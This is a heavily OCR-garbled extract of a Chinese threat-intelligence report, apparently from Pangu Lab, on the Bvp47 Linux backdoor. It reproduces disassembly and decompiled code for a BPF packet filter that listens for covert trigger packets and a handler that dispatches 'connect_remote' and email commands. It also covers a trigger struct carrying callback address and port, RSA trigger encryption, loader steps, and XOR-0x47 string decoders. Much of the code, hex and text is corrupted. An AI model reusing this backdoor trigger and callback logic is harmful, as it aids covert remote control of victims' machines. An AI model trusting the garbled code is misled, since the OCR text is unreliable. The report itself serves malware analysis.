ee
ee
(=[]
51%]
ee
08
ee
=]
ee
ee
=12]

08 stru_80e83ee

PO+stru_g8ees32e
ee

ee+
1]
28+
[=1:]
28+
08
oo+
ee
o0+
ee
o8+
ee
e+
[=1:]
28+
28
ee+
1]
28+
1]
28+
(5%]
oo+
ee
o0+
ee
o8+
[=]]
ee+
e
08+
[=1:]
ee+
28
28+
[=1:]
a8+
ee
oo+

struc ;

dd ?
dd ?
ends
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bpf_program <32h, offset stru_gsees3ze>
; DATA XREF: sec_bpf_init+lTo

dd @
dd @
dd @
dd @
dd e
dd @
bpf_insn

bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn
bpf_insn

< 8oh,

< 14h,
<7, 0, @, 2>
<48h, @, @, 0>

9,
H

e,

o,
DATA XREF:
e,

<44h, @, @, OEGCFh>

<2, 8, 0, 4>
<48h, @, @, @>

<54h, 8, @, BEGCFh>

<84h, @, @, ©>
<14h, @, @, 1>
<7, ©, @, 8Ah>
<66h, @, @, 4>
<5Ch, @, @, o>
<7, 8, 8, eAh>
<2, 8, 0, 4>

<8eh, o, @, &>
<ich, e, @, 8>
<7, 8, @, BAh>
<4gh, @, @, 8>

<2, B, 6, 6%
<61lh, 0, 0, 4>
<3eh, 8, 0, 17h>
<15h, @, 5, 6>
<3eh, @, @, 2Eh>
<74h, @, @, 2>
<14h, @, @, 14h>
<ech, e, @, o>

<7, @, @, eah>

<48h, @, @, OEh>

<2, 8, 0, 8
<goh, 8, 0, 0>
<14h, @, @, 2>
<7, 8, 8, 2>

<48h, e, 0, 0>

<44h, @, 9, 9D6Ah>

<2, @, B, 4>
<48h, @, @, &>

<54h, ©, @, 9D6Ah>

<84h, 8, B, B>
<14h, B, @, 1>
<7, 8, 9, eah>

5 KREE:

(sizeof=0x8, align=0x4, copyof 65)
.data:stru 8008300/r

= ipeap. Bfe Lo

; offset

a>
.data:stru_gees3eeto
6>
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20000000

20000000 bpf insn
20000000

20000000

20000000 code
20000002 jt
20000003 jf
20000004 k
20000008 bpf_insn
20000008

struc ; (sizeof=0x8, align=0x4, copyof 34)

dw
db
db
dd
ends

b Y Rk " A ¥

5. 2idbpfCRmIFAU AR T

IIRFRELLREFRTERAT |

b ]

)

3 XREF:

.data:08008330/r

.data:stru_8008320/r
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6. LR TRIAIbpfRCAEAN T |, BNERIZINAYpayloadEIES %A

HENET—NMEIERZ ;

B BPFEik0E (S
1EH EBPFAGRTAINS

AR EE
, BIEESEANT

— N IAERIH TR,

1. EF#sec_f_9b510b03 A LIEZIDewdropfEEHselectiE IS AMNENS N ATEGRE, ;

R LS IIOES

24, while { g flag_ba2bdesd

if (ve==1)
{
=@

t‘uf‘|ile} Isec_f_cd57dSde_apply_bpf_filter({int)xx,

sleep(68u);
H

1)

memset(&readfds, @, sizeof(r

memset(Rexceptfds, @, sizeof(exceptf
timeout.tv_usec = 8;

1 = 8;
3 = @;

for ( timeout.tv_sec = 6@

{
1F ( xx[2 " vl +
= xx[2 *

_bittestandset(&readf
_bittestandset{Bexcer

}

= select(ve + 1,
if(va>8)
{

for ( i = 8; vB >=

{
& ex1F;

1f[ b)ttnsr{&

s));
i=));

xx[8] > vi; ++vl )

H
s.__fds_|

is, @,

ve 3

B ++i )

bits[(unsigned ir
.__fds_bits[(un:

Bexceptfds, &timeout

Yxx[2 * v1 + 2] 3> 5], xx
t)x vl + 2] »> §], xx

s.__fds_bits[i »> 5], v3) )
yandle = {pcap_x *=)f_5c220551(x> )i
1r{ thand]
|| libpecap_ pcap_r'Ext ex{*handle, (pcap_pkthdr **}&pk
Il !pkt
Il 1 ata
continue;
= f_21c8de29 _gLLLJrkTpr({ x *Yhandle);
sec_f_6ad42f4c9_allinone((ct . );I:_-:.;—.:\-., {pca; thdr b
}
if ( _bittest(Bexceptfds.__fds_bits[i »» 5], v3) )
{
.-.'=)1;
¥
1
}
if ( (((unsigned | ((unsigned int)++v7 > éx1D)) & 1) I= 0 )
{

£763d0al(xx);
goto LABEL_2;
}

6 }
I return F763d@all{xx):

SHRBRAF |

(intbpf_program) )

);// selectplizH®Y
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2. sec_f 6a42f4c9_allinone¥fT{A{LrBa0T

1fint _ cdecl sec_f _6a42f4c9_allinone(char **pkt_data, pcap_pkthdr **pkt_header, __int16 type)

2q{
3| char v4; [/ al
4| char v5; // al
5 dimt v6; // [esp+1Ch] [ebp-2Ch]
6| pkt_info s[2]; // [esp+2@h] [ebp-28h] BYREF
7
P B ve = -1;
b 9| if ( pkt_header[2] == pkt_header[3] )
18| {
b11 sys_memset(s, @, @xCu);
12 v4 = *((_BYTE *)pkt_data + (unsigned __ int16)type);
b13 if ( v4 == ex45 )
14| {
b 15 v5 = f_@3868efe_another_filter('\xe2', (unsigned int *)((char *)pkt_data + (unsigned __ intl6)type + 16));
16 }
17 else
18 {
k19 ve = -1;
) 20 if ( (v4 & BxF@) == Bx60 ) /1 WMBEHipveHM T IbE,
h21 goto LABEL_2;
b 22 v5 = f_p38688f0_another_filter(@xA, (unsigned int *)((char *)pkt_data + (unsigned __int16)type + 24));
23 }
)24 v6 = -1;
b 25 if ( v5 )
26 {
b 27| if ( sec_decode_packet((char *)pkt_data, (int)pkt_header[2], (unsigned _ intl16)type, s) )// A= HEMoxsoMiEa
28 4
29|LABEL_12:
b 38 ve = -1;
)21 goto LABEL_2;
32/ }
§ 33 if ( s[@].cmd_type == 1)
34, {
b 35 v6 = aeba335b_send_email((char *)s);
36 }
37 else
38| {
b 39 if ( s[@].cmd_type != 4 )
k40 goto LABEL_12;
b a1 v6 = 72cf5a31_connect_remote(s);
42 }
43 }
44, }
45|LABEL_2:
b 46| if ( s[e].buffer )
47
b 48 sub_g80e4aD38(s[8].buffer);
b 49 s[@].buffer = 0;
sel }
F 51| return vé;
b 521}

IERFLRR/ELRERIFERAE | www.pangulab.cn
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3. £ sec_decode_packet FgiFFIA T payload BUEEAIFEE TIE , RESE REI—ME T TRALERAY
RSAMREZERIE

33| atr ( type + 26 > (unsigned pnt)pKt_len )
34 goto error;

35| v4 = 2;

36| v5 = pkt_data[type];

37| if ( vS != @x45 )

38 {
39 vd = 10;

49 if ( (v5 & @xF@) == 96 ) // BRI TIPVE
41 goto error;

42( 3}

43| sys_memmove();

44| ve = _byteswap_ushort(last_six_bytes_8) ~ OXE6CF;

45| LOWORD({last_six_bytes _8) = v6;

46| last_six _bytes_2 = _byteswap_ushort(last_six_bytes_2) " ©x9D6A;
47| v7 = type + Vvb;

48| v8 = v7;

49| if ( v4 == 2 &% pkt_data[type + 9] == 6 )

58| {

51 v20 = pkt_data[type + 32];

52| }

53| else

54, {

55 if ( v4 != 10 || pkt_data[type + 6] != 6 )

56 goto LABEL_6;

57 v20 = pkt_data[type + ©x34];

sg| }

59| v8 = (unsigned __int16)(v7 + (v20 >> 2) - 28);

60|LABEL_6:

61| if ( v8 <= pkt_len - 6 & (sys_memmove(), v1l = _byteswap_ushort(v31), v31 = v11, last_six_bytes_2 == v11)
62 |l (v8 = (unsigned _ int16)(pkt_len - last six _bytes @), v8 <= pkt_len - 6)

63 &8& (sys_memmove(), v9 = _byteswap_ushort(v31), v31 = v9, last_six_bytes_2 == v9) )
64| {

65 HIWORD(last_six_bytes_8) = v31 ~ _byteswap_ushort(HIWORD(last_six_bytes_@));
66 if ( v8 + HIWORD(last_six_bytes_@) + 6 <= pkt_len )

67 {

68 sys_memmove();

69 packet_process_decode(key, (BYTE *)ret, g_ebx_exeeee);
70 if ( lret[e] && ret[1] == 2 )

71 {

72 vi2 = 2;

73 while ( ret[v12] )

74

75 if ( (unsigned int)++v12 > Ox7F )
76 goto error;

77 }

78 vi3 = 128 - (vi2 + 1);

79 sys_memmove();

80 if ((vi3 > 7)

81 {

82 sys_memmove();

83 v14 = HIWORD(xx);

84 HIWORD(xx) = @;

85 LODWORD(v15) = (unsigned _ int8)vi4;
86 HIDWORD(v15) = HIBYTE(v14);

]7 1 ODWORNAv15Y = ( NWORNYVIG ¢¢ R:
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B BPFiERiB RS\ SIIER

A

1. DewroptEiRv3ZRFIRIZTE ( payload ) EHEEMIAIT :

struct trigger_data w3 {

unsigned short trigger_hdr;

union {

struct {
unsigned
unsigned
unsigned
unsigned
unsigned

¥ ish_callback;

int callback_addr;
int callback_port;
int timestamp
int timeskew;
int trigger_addr;

unsigned char reserve[ 8xB8];

yomd ;

unsigned short checkf;

unsigned short checki;

unsigned short check?;
_ attribute ({{packed}) ;

2. tipoffxtDewdropt&RATE ( payload ) BUEERIENT

int __cdecl tipoff_crypt_main{BYTE *buf, int size, __intl6 start, __intl6 size_, BYTE *info)

3
2
unsigned int v5; // eax
int v6; ff eax
5| dnt 14; // ebx
6 unsigned __intl6 index; // ax
7| unsigned _innr. ve; ff ax
8 BYTE *v18; // ¢
9 unsigned int i; .-f,n’ edx
@ int pos; .U [esg

1 G 1t
12| unsignl:d intl& _gcnd thrc, r’.l"

unslgned " int1s gend um’d!, .U’
L '[°],

7 1; H
- pos = @3
28( if ( (unsigned int)size <= o@x87 || (unsigned int)(*({_Dt
return -1;
5 = time(8);

srand(v5);

iporf_gen rand2();
_byteswap_ushort(*((_DWORD *)info + 1));

ex . tipoff_makeHeader( (B Jreve
ipoff_makeHeader(*((EYTE **)info + 2), *((_DWORD *)info + 1), inde
1[8] = @;

) g = _byteswap_ ushor't{ a);
38| for (i = 2; @77 - *({_DWORD *)info + 1) » i; ii = i )
ok

a6 tlpo{f sys_menmov{&srcBin[++po
tipoff_sys_memmov(&s \E [
tlpoff tngger‘((u r
s = ({unsigned __
ti.DOH' _sys_memmov (buf,
Luwh‘ Sys_memmov

2[0] =
2[1] = (u

Bin, (BY *)d i &pnvatexey},
t << 81 I HIB\'TE( 3;

RS LEE TN ERAIRAT]

**)info + 2), *((_DWORD

*Yinfo + 1) + 8xB) > @xBa )

int))tipoff_gen_randl)(via, i) ¥ @xFFu + 1;

* @xEGCF) »> 8) | ((( igned _ int8)size_ » nxcr) << B);
start * (*{{_WORD *)info
art ~ @x9D6A) >» 8) | f{(. signed _ int8)star

B:SA) << 8);

int8)(sta

rt * (info[4] + 18)) << 8);
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3. payload#iEE FRIRSAEEINE

1int _ cdecl tipoff_trigger(BYTE *srcBin, BYTE *dstBin, BYTE *privateKey)
2{

3| unsigned int v3; // eax

4| unsigned int v4; // edx

5

6| sub_8@4D48@((int)srcBin, ©@x80);

7| w3 = *((_DWORD *)srcBin + ©Ox1F);

8 wv4 = *((_DWORD *)privateKey + Ox1F);

9 if ( v3 »>= v4 )

10 *((_DWORD *)srcBin + 31) = v3 - v4;

11| tipoff_rsa_core( // RSA encryption
12 (int)srcBin,

13 0x20,

14 (int)(privatekKey + ©@x8@),

15 ex2e,

16 (int)privateKey,

17 0x20,

18 (int)(privatekey + @xiee),

19 ox21,

20 (int)dstBin,

21 byte 8058660);
22| return sub_8@4D48@((int)dstBin, @x80);
23}
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5. Bvp47_loaderisz AT

loaderfRIRIANOREEEMARNT |, FEZTRE

1. ETRINERELER ; 2. EEU4 EERRpayloads ;

3. ST FIREE payload B3 ; 4. fR%payload , WEREEEE ;
5. fiBE48payload , SNRFEEMIELE ; 6. ZENIAIRIR ;

7. VBB A ARIRAVELF 34, 8. forkiTDewdropt&IRfE(] ;

9. fork#tifT “IXF" ( Suctionchar_Agent) i2FEITD ;

[

tj&jL______rﬂ
_J___j_j

‘:J

L] NI b e
‘T'J‘FI_hJII[IILFI'F'-rJTI1I[I[III"III |T||l—.I

ITRFLEELNERBIRATF |
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B FRINERE

ERFADITIRET , BeRELENIRIR—RIINFATRINEZREL , H84t.

1. BaR0x47RELSERT

55
B9 &1 8@ 90 &8
89 E5

@F B6 1F
80 74 26 @0

@F B6 84 @F
89 C2
83 F2 47

81 Cc3

31 CA

B8 54 @E FF
83 €1 81

75 E6
89 F@

LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LoAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LoAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD
LOAD

OAD

:@885FBCE

2. BEROXATRRENSERY2

LOAD: @8@5FBDE
LOAD:@8@5FBDS
LOAD:@88@5FBDa

LOAD: @8@5FBD@

LOAD: @825FBDE
LOAD:88@5FBDS

LOAD: @8@5FEDS

LOAD: @88@5FBDS
LOAD:88@5FBDS

LOAD: @B@5FEDB S5
LOAD:@885FBD1 89 ES
LOAD:@8@5FBD3 57
LOAD:@8@5FBD4 56

LOAD: @885FBDS 53
LOAD:@885FBD6 83 EC 84
LOAD:@885FBDS EB 45 18
LOAD:@8@5FBDC EB 7D &C
LOAD:@885FBDF 8B 75 @8
LOAD:@8@5FBE2 83 (0 81
LOAD:@8@SFBES 83 FE8 @1
LOAD:@805FBEB @F B6 1F
LOAD:@8@5FBEB 89 45 F@
LOAD:@8@5FBEE 76 23
LOAD: @805FEF@ EA ©1 80 00 o
LOAD:@885FBF5 8D 76 8@
LOAD:88@5FBFS

LOAD: @B@5FEFE
LOAD:@805FBFB @F BE @C 17
LOAD: @8BSFBFC 20 CB
LOAD:@8@5FBFE 83 F@ 47
LOAD:@885FC@1 31 D8
LOAD:@885FCO3 81 CB
LOAD:@8@5FCes 31 Da
LOAD:@8@5FCRT 88 44 16 FF
LOAD:@885FCOB 83 C2 @1
LOAD:@8@5FCRE 3B 55 F@
LOAD:@8B5FC11 72 ES
LOAD: @885FC13
LOAD:@8@5FC13
LOAD:@8@5FC13 83 C4 &4
LOAD:@885FC16 89 F@
LOAD:@885FC1B 5B
LOAD:@8@5FC19 SE

LOAD: @8@5FC1A SF
LOAD:@885FC1B S0
LOAD:@885FCLC C3

LOAD: @885FC1C
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; int __cdecl serial_bind_@x4c5c@784_xcode(char *dst, char *src)
serial_bind_8x4c5c8784_xcode proc near ; CODE XREF: serial_str_filesys_admr+18Etp

dst
src

loc_S@SFBAS:

; serial_str_filesys_admrs1367Tp ...

= dword ptr B

= dword ptr 8Ch

push ebp

mov ecx, 1

mov ebp, esp

push  edi

mov edi, [ebp+sre]
push esi

mov esi, [ebp+dst]
push ebx

movzx  ebx, byte ptr [edi]
lea esi, [esi+a]

; CODE XREF: serial_bind_8xdc5c@784_xcodes38l]
movzx  eax, byte ptr [edisecx]
mov edx, eax
xor edx, 47h ; B LBxor 8xa7
xor edx, ebx
add ebx, eax
wxor edx, ecx
mov [esi+ecx-1], d1
add ecx, 1
test dl, dl
jnz short loc_BRSFBAR
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
retn

serial_bind_@x4c5c87@4_xcode endp

3 int __cdecl serial_bind_@xaBal6ds5_xcode(char *dst, char ®*src, int length)
serial_bind_8xaBalede5_xcode proc near ; CODE XREF: serial_mkstemp+22Tp

var_18
buffer
length
key

loc_BRSFBFS:

loc_8@sFC13:

; serial_check_root+42fp ...

= dword ptr -18h

= dword ptr 8

= dword ptr @cCh

= byte ptr 18h

push ebp

mov ebp, esp

push edi

push esi

push ebx

sub esp, 4

moy eax, dword ptr [ebp+key]
mov edi, [ebp+length]
mawv esi, [ebp+buffer]
add eax, 1

<mp eax, 1

movzx  ebx, byte ptr [edi]
mov [ebp+var_18], eax
jbe short loc_B885SFC13
mov edx, 1

lea esi, [esi+@]

; CODE XREF: serial_bind_©8xaBalSdeS_xcode+d4llj
movzx  ecx, byte ptr [edi+edx]
mov eax, ecx
xor eax, 47h ; wor exa7E®2 |
xor eax, ebx
add ebx, ecx
xor eax, edx
mov [esi+edx-1], al
add edx, 1
cmp edx, [ebp+var_l8]
ib shert loc_B@SFBFS

; CODE XREF: serial_bind 8xaBaltdes_xcode+lEtj
add esp, 4
mov eax, esi
pop abx
pep esi
Pop edi
pop ebp
retn

serial_bind_8xaBaledes_xcode endp
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3. PN AL

LOAD:B8885FC208
LOAD:8805FC20
LOAD:8885FC28
LOAD:8805FC20
LOAD:@8@5FC20
LOAD:B8885FC28
LOAD:8805FC20
LOAD:8885FC28
LOAD:8885FC21
LOAD:8805FC23
LOAD:B885FC26
LOAD:8805FC27
LOAD:B8885FC2B
LOAD:8885FC2C
LOAD:8805FC2F
LOAD:B885FC38
LOAD:8805FC32
LOAD:B885F(C34
LOAD:8885FC36
LOAD:8805FC38
LOAD:B885FC38
LOAD:8805FC38
LOAD:8885FC3C
LOAD:8885FC3E
LOAD:8805FC4@
LOAD:B8885FC42
LOAD:0805FC44
LOAD:8805FC46
LOAD:9805FC49
LOAD:8805FC4C
LOAD:B885FC4AF
LOAD:8805FC51
LOAD:8805FC51
LOAD:9805FC51
LOAD:8805FC53
LOAD:B885FC54
LOAD:8805FC55
LOAD:8805FC56
LOAD:9805FC57
LOAD:8805FC57

I NAN-BRAEEFET

55
89
8B
57
oF
56

53
85
74
31
31

oF
89
31
31
a1
31
88
83
39
77

SB
SE
SF
5D
c3

ES
45

B6
75
ce
i

D2
DB

7D 10

@8

ac

16
a1

16

4. FEROX47RRENZEEYS -

LOAD: 8805FC6@
LOAD: @805FC60
LOAD: @805FC60
LOAD:B8B5FC68
LOAD : 8805FC60
LOAD: 8805FC68
LOAD: @805FC60
LOAD: @805FC60
LOAD: B805FC68
LOAD:@805FC61
LOAD: @805FC63
LOAD: @BO5FCE4
LOAD: @805FC67
LOAD: @805FCE3
“|LOAD: @805FCEB
LOAD: @805FC6C
LOAD: @805FC6E
LOAD: B805FC7@
LOAD:©805FC72
LOAD: @805FC74
LOAD: @805FC78
LOAD: @805FC78
LOAD:@805FC78
LOAD: @805FC7C
LOAD: @8@5FC7E
LOAD: @805FC81

“|LOAD: ®805FC83

ITRFLEELNERBIRATF |

“|LOAD: @885FC85
LOAD: @805FC87
LOAD: B805FC8A
LOAD: @805FC8D
LOAD : ©805FC8BF
LOAD: @805FC91
LOAD: @805FC91
“|LOAD: @8@5FC91
LOAD: @805FC93
LOAD: @805FC94
*|LOAD:@805FCI5
LOAD:B8B5FC96
| nan+agacEra7

55

57
88
56
8B
53
85

31
31
:h

BeF
89
83
31
e1
31
88
83
39

89
5B
SE
SF
5D

7D

75

FF
21

D2

74

B6

(i1

26 00

84 16

47

16
a1

; int _ cdecl serial_bind_8x8bB6863a_xcode(char *buffer, int length, unsigned _ int8 key)
serial_bind_oxebo68e3a_xcode proc near ; DATA XREF: LOAD:080639F@lo

buffer
length
arg_8

loc_BB5SFC38:

loc_8@5FC51:

= dword ptr 8
= dword ptr ech
= byte ptr 18h
push  ebp
mov ebp, esp
mov eax, [ebp+length]
push edi
movzx edi, [ebp+arg_8]
push  esi
mov esi, [ebp+buffer]
push ebx
test eax, eax
jz short loc_805FC51
xor edx, edx
xor ebx, ebx
; CODE XREF: serial bind_8x8bB6883a_xcode+2Fl]j
movzx  ecx, byte ptr [esi+edx]
mov eax, edi
xor eax, ecx
xor eax, ebx
add ebx, ecx
Xor eax, edx
mov [esi+edx], al
add edx, 1
cmp [ebp+length], edx
ja short loc_8@5FC38
; CODE XREF: serial_bind @x8b@6883a_xcode+121]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp

retn
serial_bind_exebe6se3a_xcode endp

; int __cdecl serial_bind_8x4743c911_xor(char *buf, int len)

serial_bind @x4743c911 xor proc near

buf
len

loc_8@5FC78:

loc_8@SFC91:

; CODE XREF: serial bind_exdleb34ee decode+136Tp
; serial_bvp+371p
; DATA XREF:

= dword ptr 8
= dword ptr och

push
mov
push
mov
push
mov
push
test
Jjz
xor
XOr
lea

pop
pop
pop
pop

natn

ebp

ebp, esp

edi

edi, [ebp+len]
esi

esi, [ebp+buf]
ebx

edi, edi
short loc_8@5FCal
ebx, ebx

edx, edx

esi, [esi+@]

; CODE XREF: serial_bind_8x4743c¢911_xor+2Flj
eax, byte ptr [esitedx]
ecx, eax
ecx, 47h 3 xor @x47
ecx, ebx
ebx, eax
ecx, edx
[esi+edx], cl
edx, 1
edi, edx
short loc_865FC78

; CODE XREF: serial_bind_©x4743c911_xor+ETj
eax, esi
ebx
esi
edi
ebp
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5. 58i0x473£844 .

LOAD: BEBSFCAB ; int __cdecl serial_bind_8x9faldbaé_xcode(char *buffer, int length, unsigned __int8& key)
LOAD: 88B5FCAR serial_bind_ex9faldba6_xcode proc near ; DATA XREF: LOAD:@20539Bd4ic
LOAD: 08@5FCAR

LOAD: @885FCAR buffer = dword ptr B

LOAD: 8805FCAR length = dword ptr @ch

LOAD: 8B85FCAR key = byte ptr 18h

LOAD: @885FCAR

LOAD: BBASFCAB 55 push ebp

LOAD:@885FCAL BS &1 00 00 20 mav ecx, 1

LOAD: @B8SFCAE B9 ES maw ebp, esp

LOAD: @885FCAS 56 push esi

LOAD:BBBSFCAS BB 45 88 mav eax, [ebp+buffer]

LOAD: @885FCAC 53 push ebx

LOAD: @885FCAD BF BE 5D 10 movzx  ebx, [ebpekey]

LOAD: BOSFCB1 8B 75 OC mov esi, [ebptlength]
LOAD:9B@5FCB4 83 F3 47 Hor ebx, 47h

LOAD:@885FCE7 88 18 mov [eax], bl

LOAD: 98B5FCES BD B4 26 00 @0 08 @9 lea esi, [esi+a]

LOAD: BEB5FCCE

LOAD: BBBSFCCE loc_sesFcce: ; CODE XREF: serial_bind_ex9faldbaé_xcode+391]
LOAD:B885FCCO BF B6 54 @E FF movzx  edx, byte ptr [esi+ecx-1]
LOAD:@885FCCS 31 DA xor edx, ebx

LOAD: 88B5FCCT 83 F2 47 xor edx, 47h |
LOAD: @8@5FCCA 21 CA xor edx, ecx

LOAD: 88B5FCCC B8 14 @8 mov [eax+ecx], dl

LOAD: @85FCCF 83 C1 @l add ecy, 1

LOAD: @885FCD2 81 D3 add ebx, edx

LOAD: 8885FCD4 B2 7C @E FE @@ cmp byte ptr [esisecx-2], @
LOAD:@B@5FCDS 75 ES jnz short loc_885FCCE

LOAD: @885FCDB SB pop ebx

LOAD: @885FCDC SE pop esi

LOAD: 8885FCOD 5D pop ebp

LOAD: @885FCDE C3 retn

LOAD: 8885FCDE serial_bind_@x9faldbas_xcode endp

6. Fai0x47

-OAD:@8@5FCE@ 5 _BYTE *_cdecl serial bind_@xcccl7976_xcode(char *src, char *dst, int length, unsigned __int8 key)
-OAD:BB@5FCER serial_bind_excccl7976_xcode proc near ; DATA XREF: LOAD:@80639C8lo
_0AD:8805FCEQ

.OAD:@8R5FCE® src = dword ptr 8

-0AD:BB@5FCE@ dst = dword ptr 8Ch

_DAD:B885FCE® length = dword ptr 18h

_OAD:BBB5FCEQ key = byte ptr 14h

-0AD:B8885FCE@

_0AD:@885FCE@ 55 push ebp

_0OAD:@885FCE1 89 ES mav ebp, esp

-OAD:@8@5FCE3 57 push edi

_0AD:@8O5FCE4 8B 45 08 mov eax, [ebpssrc]

_OAD:B885FCE7 56 push esi

:@805FCE8 8B 7D oC mov edi, [ebp+dst]
BOSFCEB 53 push ebx
@5FCEC OF B6 5D 14 movzx  ebx, [ebptkey]

+@805FCF@ 83 F3 47 xor ebx, 47h
_OAD:B@8B5FCF3 88 18 mov [eax], bl
-OAD:B@8@5FCF5 8B 75 1@ mov esi, [ebp+length]
-0AD:@BB5FCF8 B3 C6 @1 add esi, 1
_0AD:@BOSFCFB B3 FE @1 cmp esi, 1
-0AD:@8B5FCFE 76 20 Jjbe short loc_8@85FD2@
-OAD:@805FD@@ B9 @1 @0 6@ @0 mov ecx, 1
.0AD:@885FDRS 8D 76 0@ lea esi, [esi+@]
_0AD:B8885FDR8
-0AD:B885FDO8 loc_8@5FDR8: ; CODE XREF: serial_bind_@xcccl7976_xcode+3EL]
.0AD:0©805FD@8 @F B6 54 ©F FF movzx  edx, byte ptr [edit+ecx-1]
_0AD:@885FDBD 31 DA xar edx, ebx
-OAD:@805FDAF 83 F2 47 xor edx, 47h |
-OAD:@805FD12 31 CA xar edx, ecx
_0AD:@885FD14 88 14 @8 mav [eax+ecx], dl

+@805FD17 83 C1 o1 add ecx, 1
©8O5FD1A 01 D3 add ebx, edx

@5FDIC 39 F1 cmp ecx, esi

+@805FD1E 72 E8 b short loc_8@5FD08
-OAD:B805FD20
_OAD:B885FD20 loc_8@5FD20: ; CODE XREF: serial_bind_@xccc17976_xcode+1E1]j
_OAD:@805FD20@ 5B pop ebx
-OAD:8805FD21 5E pop esi
-0AD:B885FD22 5F pop edi
-0AD:B8B5FD23 5D pop ebp
-OAD:@8@5FD24 C3 retn
_OAD:8805FD24 serial_bind_@xccc17976_xcode endp
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7. INZZREL

LOAD: 8885FD38 ; int __cdecl serial_bind_exfafledfl_xcode(char *buffer, int length, unsigned __int8 key)
LOAD : 9885FD38 serial_bind_exfafledfl_xcode proc near ; DATA XREF: LOAD:2828639A8lo
LOAD: @3R@5FD32
LOAD: BEB5FD38 buffer = dword ptr 8
LOAD: @8@5FD38 length = dword ptr &Ch
LOAD: BEBSFD38 key = byte ptr 18h
LOAD: @8R5FD38
° LOAD:@8@5FD38 55 push ebp
* LOAD:@8@5FD31 89 ES mov ebp, esp
 LOAD:@B@SFD33 57 push edi
* LOAD:@8O5FD34 8B 45 88 mov eax, [ebpsbuffer]
“ LOAD:@E@5FD37 56 push esi
* LOAD:@8@5FD38 8B 75 oC mowv esi, [ebp+length]
° LOAD:B8@5FD3B 53 push ebx
° LOAD:@8O5FD3IC @F B6 7D 18 movzx edi, [ebp+key]
“ LOAD:@8O5FD4@ 85 F6 test esi, esi
*LOAD:BBRSFD4Z 74 19 jz short loc_8@5FOSD
- LOAD:B885FD44 31 C9 xor ecx, ecx |
“LOAD:@8O5FD46 31 DB xor ebx, ebx
LOAD: B8B5FDAB
LOAD: B885FD4B loc_885FD48: ; CODE XREF: serial bind @xfafledfl_xcode+2Blj
" LOAD:@BRSFD4B B9 FA mov edx, edi
* LOAD:BEBSFDMA 32 14 @8 xor dl, [eax+ecx]
* LOAD:@8e5FD4D 31 DA xor edx, ebx
© LOAD:PSOSFD4F 31 CA xor edx, ecx
* LOAD:BBB5FDS1 BE 14 88 mav [eax+ecx], dl
" LOAD:@8@5FD54 B3 C1 a1 add ecx, 1
° LOAD:@B@5FD57 81 D3 add ebx, edx
° LOAD:@8O5FD59 39 CE cmp esi, ecx
'+ LOAD: @885FD5B 77 EB ja short loc_805FD48
LOAD : @B@5FDSD
LOAD: @8@5FDSD loc_8@SFD5D: ; CODE XREF: serial bind_exfafledfl_xcode+12t]
" LOAD: @8@5FDSD SB pop ebx
* LOAD:B885FDSE SE pop esi
* LOAD:@8@5FDSF SF pop edi
“ LOAD:@8@5FD62 50 pop ebp
° LOAD:@8R5FD61 C3 retn
LOAD: @885FDE1 serial_bind_oxfafledfl_xcode endp
LOAD: B885FDE1
LOAD: B885FD61 § =e=eeesiesecasccasmsmssssssssssssssssssssssssssesesssssssssssssssssscssasas
“LOAD:@885FDE2 8D B4 26 90 00 90 20 8D BC 27 00 00+ align 1gh
S N A IR P ]
8. BEROX4 T RESERLS
.0AD:@885FD7Q
-OAD:@805FD7@ 3 int _ cdecl serial bind_8x4b369F56_xcode(char *buffer, int length)
-0AD:8805FD78 serial_bind_@x4b369f56_xcode proc near ; CODE XREF: serial_bind_oxdleb3dee_decode+1B71p
-OAD:8885FD7@ ; serial_bind_8xdleb3dee_decode+1EBTp ...
-0AD:8885FD7@
.OAD:8885FD7R b+ = dword ptr &
_OAD:9805FD78 ¥y = dword ptr @Ch
.OAD:@885FD7Q
-OAD:8885FD7@ 55 push ebp
-OAD:8805FD71 B9 ES mov ebp, esp
[OAD:885FD73 56 push  esi
_OAD:8885FD74 BB 75 BC mav esi, [ebpeyy]
-DAD:8885FD7T 53 push ebx
-OAD:8885FD78 BB 45 88 mav eax, [ebpexx]
-OAD:8805FD7B B5 F& test esi, esi
-0AD:8885FD7D 74 28 jz short loc_885FDIF
-OAD:8885FD7F 31 DB xor ebx, ebx
-OAD:8885FDE1 31 C9 xar ecx, ecx
-DAD:8805FD83 S8 nop
-OAD:8805FD84 BD 74 26 €8 lea esi, [esi+d]
-OAD:8885FD83
-DAD:8805FDEE loc_BBSFDES: ; CODE XREF: serial_bind_ox4b369f56_xcode+201]
-OAD:@885FD83 @F B 14 88 movzx  edx, byte ptr [eax+tecx]
-DAD:8885FDBC 31 DA xor edx, ebx
_0AD: @8O5FDSE 83 F2 47 xor edx, 47h |
-OAD:8885FDI1 31 CA xor edx, ecx
-OAD:8805FD93 BE 14 88 mav [eax+ecx], dl
-OAD:8885FD96 83 C1 81 add ecK, 1
-0AD:8805FD99 81 D2 add ebx, edx
-OAD:8885FDIB 39 CE cmp esi, ecx
-OAD:B805FDID 77 ES ja short loc_8@5FD88
-DAD:8885FDIF
_OAD: 8885FDIF loc_8@5FDSF: ; CODE XREF: serial bind_@x4b369¥56_xcodes+D1§
.OAD:88@5FDIF 5B pop ebx
-OAD:8885FDAR SE Pop esi
_OAD:@885FDAL 5D pop ebp
-DAD:8885FDAZ C3 retn
_OAD: B885FDA2 serial bind @x4b369f56_xcode endp
.0AD:8885FDAZ

IERFLR/ELRERIFERAE | www.pangulab.cn

30



W 37 (payload ) FEXAINNETS
875 ( payload ) ZEHEEIIRPEBA SRR,

H—

LOAD : 8804A2EQ ; int _ cdecl decode_callback_ti1(int sysinfo, int payload, int i386, int tw, int bb, int cc)
